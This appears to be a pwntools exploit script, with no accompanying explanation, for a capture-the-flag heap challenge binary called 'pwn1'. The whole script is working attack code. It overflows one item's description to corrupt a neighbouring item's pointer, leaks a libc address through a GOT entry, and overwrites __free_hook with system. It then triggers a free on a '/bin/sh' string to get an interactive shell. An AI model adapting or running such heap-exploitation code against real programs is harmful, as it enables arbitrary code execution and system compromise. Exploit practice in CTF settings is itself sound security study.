1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import *
local = 1 debug = 0 binary = "./pwn1" lib = "/lib/i386-linux-gnu/libc.so.6" elf = ELF(binary) context.log_level = "debug" if debug else "info"
if local: p = process(binary) libc = ELF(lib) else : p = remote() lib = "./libc.so.6" libc = ELF(lib)
s = lambda buf : p.send(buf) sl = lambda buf : p.sendline(buf) sa = lambda delim, buf : p.sendafter(delim, buf) sal = lambda delim, buf : p.sendlineafter(delim, buf) sh = lambda : p.interactive() r = lambda n=None : p.recv(n) ru = lambda delim : p.recvuntil(delim) r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00") trs = lambda addr : libc.address+addr gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next() tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)
def add(name,size,content): sal("your choice>> ","1") sal("name:",name) sal("price:","1") sal("descrip_size:",str(size)) sal("description:",content) def change_des(name,size,content): sal("your choice>> ","5") sal("name:",name) sal("descrip_size:",str(size)) sal("description:",content) def show(): sal("your choice>> ","3") def delete(name): sal("your choice>> ","2") sal("name:",name)
add("apple",0x4c,"A"*8) add("banana",0x4c,"B"*8) change_des("apple",0x4c-0x20,"A"*8) add("orange",0x4c,"O"*8) payload = "" payload += "A"*0x2c payload += p32(0x21) payload += "orange".ljust(0x10,"\x00") payload += p32(0x1) payload += p32(0x4c) change_des("apple",0x4c,payload)
payload = "" payload += p32(0) payload += p32(0x21) payload += "apple".ljust(0x10,"\x00") payload += p32(0x1) payload += p32(0x4c) payload += p32(0x804b010) payload += chr(0x31) change_des("orange",0x4c,payload) show() libc.address = u32(ru('\xf7')[-4:])-libc.sym["read"] info("libc base => 0x%x"%libc.address)
payload = "" payload += p32(0) payload += p32(0x21) payload += "apple".ljust(0x10,"\x00") payload += p32(0x1) payload += p32(0x4c) payload += p32(libc.sym["__free_hook"]-8) payload += chr(0x31) change_des("orange",0x4c,payload)
payload = "/bin/sh\x00" payload += p32(libc.sym["system"]) change_des("apple",0x4c,payload) delete("apple") sh()
|